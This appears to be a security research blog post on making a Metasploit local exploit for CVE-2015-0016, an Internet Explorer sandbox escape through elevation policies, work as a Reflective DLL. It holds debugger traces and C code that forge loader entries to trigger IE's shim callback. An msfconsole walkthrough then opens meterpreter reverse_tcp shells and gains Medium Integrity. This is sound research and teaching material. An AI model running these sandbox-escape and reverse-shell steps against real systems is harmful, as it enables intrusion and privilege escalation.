Last updated at Mon, 22 Jan 2024 18:32:16 GMT
As you are probably aware, sandbox bypasses are becoming a MUST when exploiting desktop applications such as Internet Explorer. One interesting class of sandbox bypasses abuse IE's Elevation Policies. An example of this type of sandbox bypass is CVE-2015-0016. The vulnerability has already been analyzed by Henry Li, who published a complete description in this blog entry. This kind of vulnerability abuses the TSWbPrxy.exe component (which is already executed as a Medium Integrity process due to an Elevation Policy) in order to run arbitrary code with Medium Integrity. An exploit for this vulnerability already exists in Metasploit.
An interesting note about this exploit (and others abuses of IE Elevation Policies) is that the exploit is implemented as a regular DLL run by Meterpreter's old "in-memory" loader, based on the original design by skape and Jarkko Turkulainen. In case you are not familiar with how this loader works, it hooks several ntdll methods related to DLL loading. In contrast, the latest Meterpreter code accomplishes in-memory loading through Reflective DLL Injection. Indeed, many local exploits, including Meterpreter itself, are implemented as Reflective DLLs.
So, why aren't we implementing exploits for IE Elevation Policies as Reflective DLLs? The short answer is that their import address table (IAT) is not patched automatically with the IE shims. As a result, any calls (like CreateProcess) will be evaluated against the Elevation Policies (thanks 0vercl0k for the grammar warning ) won't be evaluated against the Elevation Policies, since they won't reach the broker. It means that, while you can use kernel exploits with Reflective DLLs to bypass sandboxes, you are stuck when attempting to abuse a policy.
Let us examine CVE-2015-0016 as an example of policy abuse. According to the IE Elevation Policy, TSWbPrxy.exe should be executed as Medium Integrity:
Indeed, if you build a plain DLL to create the new TSWbPrxy.exe process, and use the Meterpreter's old memory loader, you will notice that the new process runs as Medium Integrity.
But, if you try to do the same with a Reflective DLL, you'll notice that the new process runs as Low Integrity:
In the last case, the IAT of the DLL has not been patched either:
0:006> !dh 02a40000 -f
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
5 number of sections
55DE3622 time date stamp Wed Aug 26 16:56:50 2015
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
2102 characteristics
Executable
32 bit word machine
DLL
OPTIONAL HEADER VALUES
10B magic #
12.00 linker version
A600 size of code
8800 size of initialized data
0 size of uninitialized data
15F5 address of entry point
1000 base of code
----- new -----
10000000 image base
1000 section alignment
200 file alignment
2 subsystem (Windows GUI)
6.00 operating system version
0.00 image version
6.00 subsystem version
16000 size of image
400 size of headers
0 checksum
00100000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
140 DLL characteristics
Dynamic base
NX compatible
10120 [ 59] address [size] of Export Directory
1017C [ 28] address [size] of Import Directory
14000 [ 1E0] address [size] of Resource Directory
0 [ 0] address [size] of Exception Directory
0 [ 0] address [size] of Security Directory
15000 [ CB8] address [size] of Base Relocation Directory
C140 [ 38] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
FD30 [ 40] address [size] of Load Configuration Directory
0 [ 0] address [size] of Bound Import Directory
C000 [ F8] address [size] of Import Address Table Directory
0 [ 0] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
0:006> dps 02a40000+C000 02a40000+C000+F8
02a4c000 76d92082 kernel32!CreateProcessA
02a4c004 76de8eaf kernel32!GetCommandLineAStub
02a4c008 76ddc410 kernel32!GetCurrentThreadIdStub
02a4c00c 76dd7e1a kernel32!IsDebuggerPresentStub
02a4c010 76de6c1e kernel32!IsProcessorFeaturePresent
02a4c014 76ddcde0 kernel32!GetLastErrorStub
02a4c018 76ddc3f0 kernel32!SetLastError
02a4c01c 771ba295 ntdll!RtlEncodePointer
02a4c020 771bcd10 ntdll!RtlDecodePointer
02a4c024 76debbe2 kernel32!DisablePredefinedHandleTableForIndex
02a4c028 76dd54ff kernel32!GetModuleHandleExWStub
02a4c02c 76ddcc94 kernel32!GetProcAddressStub
02a4c030 76ddef07 kernel32!MultiByteToWideCharStub
02a4c034 76ddeefa kernel32!WideCharToMultiByteStub
02a4c038 76ddfcdd kernel32!GetProcessHeapStub
02a4c03c 76de8e97 kernel32!GetStdHandleStub
02a4c040 76de6ab4 kernel32!GetFileTypeImplementation
02a4c044 771b9ac5 ntdll!RtlDeleteCriticalSection
02a4c048 76dde2dd kernel32!GetStartupInfoWStub
02a4c04c 76ddd75a kernel32!GetModuleFileNameAStub
02a4c050 76ddc3c0 kernel32!HeapFree
02a4c054 76ddc422 kernel32!QueryPerformanceCounterStub
02a4c058 76ddd7b5 kernel32!GetCurrentProcessIdStub
02a4c05c 76ddd816 kernel32!GetSystemTimeAsFileTimeStub
02a4c060 76de6bc4 kernel32!GetEnvironmentStringsWStub
02a4c064 76de6bac kernel32!FreeEnvironmentStringsWStub
02a4c068 76df0651 kernel32!UnhandledExceptionFilter
02a4c06c 76ddf4fb kernel32!SetUnhandledExceptionFilter
02a4c070 76ddea21 kernel32!InitializeCriticalSectionAndSpinCountStub
02a4c074 76ddc266 kernel32!SleepStub
02a4c078 76ddd7a0 kernel32!GetCurrentProcessStub
02a4c07c 76dd2c05 kernel32!TerminateProcessStub
02a4c080 76ddd804 kernel32!TlsAllocStub
02a4c084 76ddf760 kernel32!TlsGetValueStub
02a4c088 76ddf783 kernel32!TlsSetValueStub
02a4c08c 76de5259 kernel32!TlsFreeStub
02a4c090 76ddccac kernel32!GetModuleHandleWStub
02a4c094 771a7790 ntdll!RtlEnterCriticalSection
02a4c098 771a7750 ntdll!RtlLeaveCriticalSection
02a4c09c 76deb915 kernel32!IsValidCodePageStub
02a4c0a0 76ddd90b kernel32!GetACPStub
02a4c0a4 76dd440a kernel32!GetOEMCPStub
02a4c0a8 76de8e7f kernel32!GetCPInfoStub
02a4c0ac 76de53ee kernel32!WriteFileImplementation
02a4c0b0 76ddef35 kernel32!GetModuleFileNameWStub
02a4c0b4 76dd50c1 kernel32!LoadLibraryExWStub
02a4c0b8 76dc92da kernel32!RtlUnwindStub
02a4c0bc 771b2dd6 ntdll!RtlAllocateHeap
02a4c0c0 771cff8f ntdll!RtlReAllocateHeap
02a4c0c4 76de532e kernel32!GetStringTypeWStub
02a4c0c8 76dc6e3a kernel32!OutputDebugStringWStub
02a4c0cc 771b9bec ntdll!RtlSizeHeap
02a4c0d0 76de528c kernel32!LCMapStringWStub
02a4c0d4 76dc852f kernel32!FlushFileBuffersImplementation
02a4c0d8 76ddbf19 kernel32!GetConsoleCP
02a4c0dc 76dec110 kernel32!GetConsoleMode
02a4c0e0 76e1fcf9 kernel32!SetStdHandleStub
02a4c0e4 76dcfbb2 kernel32!SetFilePointerExStub
02a4c0e8 76dd857d kernel32!WriteConsoleW
02a4c0ec 76dde868 kernel32!CloseHandleImplementation
02a4c0f0 76dde8a5 kernel32!CreateFileWImplementation
02a4c0f4 00000000
02a4c0f8 00000000
The Reflective DLL is, unfortunately, too stealthy here (what an irony! ). An obvious solution to this problem to would be to patch the DLL's IAT by ourselves. In order to do that, we need a list of the IE Shims to patch. Unfortunately, this would require a lot of maintenance in order to keep the list of hooks up to date, requiring changes for every Windows update.
A second and better strategy would be to allow Windows/IE to do the work for us. The first question we need to ask is, what IE does in order to get a module's IAT patched when it loads it? We can find a clue in the excellent paper by Mark Vicent Yanson "Diving Into IE 10's Enhanced Protected Mode Sandbox". According to this paper: "The shim mechanism is provided by the ieshims.dll module which sets up a callback that is called every time a DLL is loaded via the ntdll!LdrRegisterDllNotification() API". If you check the list of registered callbacks on NTDLL for a Low Priviliged iexplore process, the IESHIMS callback (IEShims!CShimBindings::_LdrNotificationCallback) is the first one:
0:006> dd ntdll!LdrpDllNotificationList L3
77237280 00419010 00419010 00300026
0:006> dd 00419010 L3
00419010 77237280 77237280 6c643b40
0:006> u 6c643b40 L1
IEShims!CShimBindings::_LdrNotificationCallback:
6c643b40 6a04 push 4
The main purpose of the callback is to verify the required shims for the new loaded library (with the help of CShimBindings::_GetNeededShims()), and fixup the entry point of the module on his LDR_DATA_TABLE_ENTRY. Here is the moment of patching the DNSAPI.dll LD_ENTRY_TABLE_ENTRY (still with the original entry point 0x74a063f9):
ModLoad: 749f0000 74a34000 C:\Windows\system32\DNSAPI.dll
Breakpoint 0 hit
eax=0000002d ebx=0027b0d0 ecx=6c6818a0 edx=00000003 esi=0033aa80 edi=0027af48
eip=6c643dcd esp=036bdb1c ebp=036bdb28 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
IEShims!CShimBindings::OnModuleLoaded+0xcd:
6c643dcd c7461c8029646c mov dword ptr [esi+1Ch],offset IEShims!CShimBindings::s_DllMainHook (6c642980) ds:0023:0033aa9c={DNSAPI!_DllMainCRTStartup (74a063f9)}
0:014> r esi
esi=0033aa80
0:014> dt ntdll!_LDR_DATA_TABLE_ENTRY 0033aa80
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7723788c - 0x33aa00 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x77237894 - 0x33aa08 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4d005c - 0x630069 ]
+0x018 DllBase : 0x749f0000 Void
+0x01c EntryPoint : 0x74a063f9 Void
+0x020 SizeOfImage : 0x44000
+0x024 FullDllName : _UNICODE_STRING "C:\Windows\system32\DNSAPI.dll"
+0x02c BaseDllName : _UNICODE_STRING "DNSAPI.dll"
+0x034 Flags : 4
+0x038 LoadCount : 0
+0x03a TlsIndex : 0
+0x03c HashLinks : _LIST_ENTRY [ 0x7723a678 - 0x262ffc ]
+0x03c SectionPointer : 0x7723a678 Void
+0x040 CheckSum : 0x262ffc
+0x044 TimeDateStamp : 0x4ce7b7e6
+0x044 LoadedImports : 0x4ce7b7e6 Void
+0x048 EntryPointActivationContext : (null)
+0x04c PatchInformation : (null)
+0x050 ForwarderLinks : _LIST_ENTRY [ 0x33aad0 - 0x33aad0 ]
+0x058 ServiceTagLinks : _LIST_ENTRY [ 0x33aad8 - 0x33aad8 ]
+0x060 StaticLinks : _LIST_ENTRY [ 0x33aae0 - 0x33aae0 ]
+0x068 ContextInformation : (null)
+0x06c OriginalBase : 0x6dc00000
+0x070 LoadTime : _LARGE_INTEGER 0x01d0e0d1`4f8116b0
After installing the instruction, the new entry point (0x6c642980) can be observed:
0:014> p
eax=0000002d ebx=0027b0d0 ecx=6c6818a0 edx=00000003 esi=0033aa80 edi=0027af48
eip=6c643dd4 esp=036bdb1c ebp=036bdb28 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
IEShims!CShimBindings::OnModuleLoaded+0xd4:
6c643dd4 c6474001 mov byte ptr [edi+40h],1 ds:0023:0027af88=00
0:014> dt ntdll!_LDR_DATA_TABLE_ENTRY 0033aa80
+0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x7723788c - 0x33aa00 ]
+0x008 InMemoryOrderLinks : _LIST_ENTRY [ 0x77237894 - 0x33aa08 ]
+0x010 InInitializationOrderLinks : _LIST_ENTRY [ 0x4d005c - 0x630069 ]
+0x018 DllBase : 0x749f0000 Void
+0x01c EntryPoint : 0x6c642980 Void
+0x020 SizeOfImage : 0x44000
+0x024 FullDllName : _UNICODE_STRING "C:\Windows\system32\DNSAPI.dll"
+0x02c BaseDllName : _UNICODE_STRING "DNSAPI.dll"
+0x034 Flags : 4
+0x038 LoadCount : 0
+0x03a TlsIndex : 0
+0x03c HashLinks : _LIST_ENTRY [ 0x7723a678 - 0x262ffc ]
+0x03c SectionPointer : 0x7723a678 Void
+0x040 CheckSum : 0x262ffc
+0x044 TimeDateStamp : 0x4ce7b7e6
+0x044 LoadedImports : 0x4ce7b7e6 Void
+0x048 EntryPointActivationContext : (null)
+0x04c PatchInformation : (null)
+0x050 ForwarderLinks : _LIST_ENTRY [ 0x33aad0 - 0x33aad0 ]
+0x058 ServiceTagLinks : _LIST_ENTRY [ 0x33aad8 - 0x33aad8 ]
+0x060 StaticLinks : _LIST_ENTRY [ 0x33aae0 - 0x33aae0 ]
+0x068 ContextInformation : (null)
+0x06c OriginalBase : 0x6dc00000
+0x070 LoadTime : _LARGE_INTEGER 0x01d0e0d1`4f8116b0
0:014> u 0x6c642980 L1
IEShims!CShimBindings::s_DllMainHook:
6c642980 8bff mov edi,edi
Once the library is loaded, it's the address where the NTDLL loader code will transfer execution:
Breakpoint 1 hit
eax=00000000 ebx=00000001 ecx=036bdbbc edx=00000020 esi=036bdb24 edi=036bdbe0
eip=6c642980 esp=036bdb14 ebp=036bdb30 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
IEShims!CShimBindings::s_DllMainHook:
6c642980 8bff mov edi,edi
0:014> kb
ChildEBP RetAddr Args to Child
036bdb10 771b89d8 749f0000 00000001 00000000 IEShims!CShimBindings::s_DllMainHook
036bdb30 771c5c71 6c642980 749f0000 00000001 ntdll!LdrpCallInitRoutine+0x14
036bdc24 771c052e 00000000 7fa602ab 771a7c8a ntdll!LdrpRunInitializeRoutines+0x26f
036bdd90 771c2322 036bddf0 036bddbc 00000000 ntdll!LdrpLoadDll+0x4d1
036bddc4 75178bb1 00281104 036bde08 036bddf0 ntdll!LdrLoadDll+0x92
036bde00 75179044 00000000 00000000 00281104 KERNELBASE!LoadLibraryExW+0x1d3
036bde20 76ba3611 76d2d6c0 00000000 00000000 KERNELBASE!LoadLibraryExA+0x26
The IEShims!CShimBindings::s_DllMainHook method will patch the module IAT with the help of CShimBindings::ApplyShims() and finally call the original entry point:
Breakpoint 2 hit
eax=00000001 ebx=0027af48 ecx=74a063f9 edx=0027ba50 esi=036bdac4 edi=74a063f9
eip=6c642a9c esp=036bdab8 ebp=036bdb10 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000206
IEShims!CShimBindings::s_DllMainHook+0x11d:
6c642a9c ffd7 call edi {DNSAPI!_DllMainCRTStartup (74a063f9)}
At this point you can observe how the required DNSAPI IAT entries have been pached and redirected to the IE Shims:
0:014> !dh DNSAPI -f
File Type: DLL
FILE HEADER VALUES
14C machine (i386)
4 number of sections
4CE7B7E6 time date stamp Sat Nov 20 05:58:30 2010
0 file pointer to symbol table
0 number of symbols
E0 size of optional header
2102 characteristics
Executable
32 bit word machine
DLL
OPTIONAL HEADER VALUES
10B magic #
9.00 linker version
37C00 size of code
A000 size of initialized data
0 size of uninitialized data
163F9 address of entry point
1000 base of code
----- new -----
749f0000 image base
1000 section alignment
200 file alignment
3 subsystem (Windows CUI)
6.01 operating system version
6.01 image version
6.01 subsystem version
44000 size of image
600 size of headers
50F65 checksum
00040000 size of stack reserve
00001000 size of stack commit
00100000 size of heap reserve
00001000 size of heap commit
140 DLL characteristics
Dynamic base
NX compatible
12C8 [ 1AF9] address [size] of Export Directory
37998 [ 1A4] address [size] of Import Directory
3C000 [ 4A58] address [size] of Resource Directory
0 [ 0] address [size] of Exception Directory
0 [ 0] address [size] of Security Directory
41000 [ 26A4] address [size] of Base Relocation Directory
38A14 [ 38] address [size] of Debug Directory
0 [ 0] address [size] of Description Directory
0 [ 0] address [size] of Special Directory
0 [ 0] address [size] of Thread Storage Directory
23E58 [ 40] address [size] of Load Configuration Directory
278 [ 324] address [size] of Bound Import Directory
1000 [ 2C8] address [size] of Import Address Table Directory
374BC [ 100] address [size] of Delay Import Directory
0 [ 0] address [size] of COR20 Header Directory
0 [ 0] address [size] of Reserved Directory
0:014> dps DNSAPI+1000 DNSAPI+1000+2C8
749f1000 76e79894 msvcrt!free
749f1004 76e79cee msvcrt!malloc
749f1008 76e9dc75 msvcrt!_XcptFilter
749f100c 76e7c151 msvcrt!_initterm
749f1010 76e7ad52 msvcrt!towlower
.
.
.
.
749f10bc 6c6431e0 IEShims!NS_GetProcAddressShim::APIHook_GetProcAddress
.
.
.
So far so good! Next, can we reach IEShims!CShimBindings::_LdrNotificationCallback
with our reflective DLL? Our first approach was to add a fake entry to the InMemoryOrderModuleList and then reuse LoadLibrary to reach the "IEShims!CShimBindings::_LdrNotificationCallback". Unfortunately, soon we discovered this was not sufficient to reach the point where the DLL notification callbacks are executed. As a second attempt, we tried to determine the address of the "IEShims!CShimBindings::_LdrNotificationCallback". In order to get the address of the callback, we used the following technique:
- Get the address of the export ntdll!LdrRegisterDllNotification
- From there, search for the address of the _LdrpDllNotificationList. This list saves the collection of registered callbacks. With IE, the first callback is the address of the "IEShims!CShimBindings::_LdrNotificationCallback". In order to implement a (hopefully) reliable search mechanism, we use the new entry in the list as a signature.
The resulting code to disclose the pointer to the IEShims callback looks something like:
// Find a pointer to the IEshims!CShimBindings::_LdrNotificationCallback
static SIZE_T SearchLdrNotificationCallback()
{
HMODULE ntdll = LoadLibraryA("ntdll.dll");
FARPROC registerDllMethod = GetProcAddress(ntdll, "LdrRegisterDllNotification");
PUCHAR searchPtr = (unsigned char *)registerDllMethod;
UCHAR testByte = 0x00;
SIZE_T pNotificationList = 0;
SIZE_T pNotificationCallback = 0;
for (int i = 0; i < 0x1000; i++) {
if (searchPtr[i] == searchPtr[i + 5] + 4 &&
searchPtr[i + 1] == searchPtr[i + 6] &&
searchPtr[i + 2] == searchPtr[i + 7] &&
searchPtr[i + 3] == searchPtr[i + 8]) {
searchPtr = searchPtr + i;
pNotificationList = *(SIZE_T *)searchPtr;
break;
}
if (searchPtr[i] == searchPtr[i + 6] + 4 &&
searchPtr[i + 1] == searchPtr[i + 7] &&
searchPtr[i + 2] == searchPtr[i + 8] &&
searchPtr[i + 3] == searchPtr[i + 9]) {
searchPtr = searchPtr + i;
pNotificationList = *(SIZE_T *)searchPtr;
break;
}
}
memcpy(&pNotificationCallback, (SIZE_T *)pNotificationList, sizeof(SIZE_T));
pNotificationCallback += sizeof(SIZE_T) * 2;
return pNotificationCallback;
}
By the way, if you have of a better way (not depending on any search) to disclose the IEShims!CShimBindings::_LdrNotificationCallback, we would love to know about it!
Once the address of the callback has been disclosed, we are ready to call it directly. As you recall, this call will modify the entry point on the LDR_DATA_TABLE_ENTRY for the notified library. So, we need to insert a new LDR_DATA_TABLE_ENTRY on the InMemoryOrderModuleList of the process being exploited. In order to understand better the process, here is a step-by-step description of what happens:
- Create a new LDR_DATA_TABLE_ENTRY for the loaded reflective DLL.
static VOID CreateFakeModule(PMY_LDR_DATA_TABLE_ENTRY templateEntry, PVOID dllBase, PVOID entryPoint)
{
fakeLdrEntry = (PMY_LDR_DATA_TABLE_ENTRY)malloc(sizeof(MY_LDR_DATA_TABLE_ENTRY));
memcpy(fakeLdrEntry, templateEntry, sizeof(LDR_DATA_TABLE_ENTRY));
fakeLdrEntry->DllBase = dllBase;
fakeLdrEntry->EntryPoint = entryPoint;
fakeLdrEntry->SizeOfImage = 0x1b000;
fakeLdrEntry->FullDllName.pBuffer = L"WinRefl.dll";
fakeLdrEntry->FullDllName.Length = wcslen(fakeLdrEntry->FullDllName.pBuffer) * 2;
fakeLdrEntry->FullDllName.MaximumLength = fakeLdrEntry->FullDllName.Length + 2;
fakeLdrEntry->BaseDllName.pBuffer = L"WinRefl.dll";
fakeLdrEntry->BaseDllName.Length = wcslen(fakeLdrEntry->BaseDllName.pBuffer) * 2;
fakeLdrEntry->BaseDllName.MaximumLength = fakeLdrEntry->BaseDllName.Length + 2;
}
- Hook the LDR_DATA_TABLE_ENTRY into the InMemoryOrderLinks list of the attacked process:
staticVOID HookFakeModule(HINSTANCEhinstDLL, PVOIDep) {
PentryPoint entryPoint = (PentryPoint)ep;
_PPEB pPeb = (_PPEB)__readfsdword(0x30);
LIST_ENTRY head = pPeb->pLdr->InMemoryOrderModuleList;
// Make Backup to restore later
headBackup = head;
PMY_LDR_DATA_TABLE_ENTRY firstEntry = (PMY_LDR_DATA_TABLE_ENTRY)((BYTE *)head.Flink - (ptrdiff_t)8);
CreateFakeModule(firstEntry, hinstDLL, entryPoint);
// Insert the fake entry in the InMemoryOrderModuleList
fakeLdrEntry->InMemoryOrderLinks.Flink = head.Flink;
fakeLdrEntry->InMemoryOrderLinks.Blink = head.Flink->Blink;
// Fix the list
pPeb->pLdr->InMemoryOrderModuleList.Flink->Blink = &(fakeLdrEntry->InMemoryOrderLinks);
pPeb->pLdr->InMemoryOrderModuleList.Flink = &(fakeLdrEntry->InMemoryOrderLinks);
return;
}
- Create a LDR_DLL_LOADED_NOTIFICATION_DATA structure for our Reflective DLL (so we can call the IEShims notification callback later).
staticVOID CreateFakeNotification(HINSTANCEhinstDLL)
{
fakeNotification = (PLDR_DLL_LOADED_NOTIFICATION_DATA)malloc(sizeof(LDR_DLL_LOADED_NOTIFICATION_DATA));
fakeNotification->DllBase = hinstDLL;
fakeNotification->BaseDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR));
fakeNotification->BaseDllName->pBuffer = L"WinRefl.dll";
fakeNotification->BaseDllName->Length = wcslen(fakeNotification->BaseDllName->pBuffer) * 2;
fakeNotification->BaseDllName->MaximumLength = fakeNotification->BaseDllName->Length + 2;
fakeNotification->FullDllName = (PUNICODE_STR)malloc(sizeof(UNICODE_STR));
fakeNotification->FullDllName->pBuffer = L"WinRefl.dll";
fakeNotification->FullDllName->Length = wcslen(fakeNotification->FullDllName->pBuffer) * 2;
fakeNotification->FullDllName->MaximumLength = fakeNotification->FullDllName->Length + 2;
fakeNotification->SizeOfImage = 0x1b000;
fakeNotification->Flags = 0;
}
- Disclose the address of IEShims!CShimBindings::_LdrNotificationCallback as explained before, and call it directly.
Once the callback is executed successfully, we should be able to retrieve the address of the CShimBindings::s_DllMainHook from the patched entry point in our crafted LDR_DLL_LOADED_NOTIFICATION_DATA. Good enough! Now we call CShimBindings::s_DllMainHook by ourselves, allowing IEShims to:
- patch our reflective DLL IAT and
- call our reflective DLL entry point again!
At that moment we should be able to exploit the policy escalation, escaping the sandbox and living happily as a Medium Integrity process!
As a proof of concept, the Metasploit module ms15_004_tswbproxy for CVE-2015-0016 has been updated to use a Reflective DLL. The Pull Request with all the code can be found here: Update ms15_004_tswbproxy to use a Reflective DLL by jvazquez-r7 · Pull Request #5896 · rapid7/metasploit-framework · Gi…. The changes are already in master, so you can sync your metasploit-framework to get them!
You can test all the above by yourself in the next easy way:
- Install a target. A Windows 7 SP1 machine with IE (and not MS15-004) should work.
- Get a Meterpreter session on the target. It doesn't matter how you get the session really. For this example, I have embedded a meterpreter/reverse_tcp payload into an EXE and used the exploit/multi/handler to retrieve a new session.
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(handler) > rexploit
[*] Reloading module...
[*] Started reverse handler on 172.16.158.1:4444
[*] Starting the payload handler...
[*] Sending stage (885806 bytes) to 172.16.158.131
[*] Meterpreter session 1 opened (172.16.158.1:4444 -> 172.16.158.131:51041) at 2015-08-26 15:28:01 -0500
- Migrate the session to an IE renderer Low Privileged process.
meterpreter > migrate 3500
[*] Migrating from 2708 to 3500...
;[*] Migration completed successfully.
meterpreter > background
[*] Backgrounding session 1...
- Use the ms15_004_tswbproxy on the session and get a new session.
msf exploit(handler) > use exploit/windows/local/ms15_004_tswbproxy
msf exploit(ms15_004_tswbproxy) > set session 1
session => 1
msf exploit(ms15_004_tswbproxy) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(ms15_004_tswbproxy) > set lhost 172.16.158.1
lhost => 172.16.158.1
msf exploit(ms15_004_tswbproxy) > rexploit
[*] Reloading module...
[*] Started reverse handler on 172.16.158.1:4444
[*] Checking target...
[*] Checking the Process Integrity Level...
[*] Storing payload on environment variable...
[*] Exploiting...
[*] Injecting exploit into 3500...
[*] Payload injected. Executing exploit...
[*] Sending stage (885806 bytes) to 172.16.158.131
[*] Meterpreter session 2 opened (172.16.158.1:4444 -> 172.16.158.131:51042) at 2015-08-26 15:28:44 -0500
meterpreter > getpid
Current pid: 3232
- The new Meterpreter session should live in a Medium Integrity process!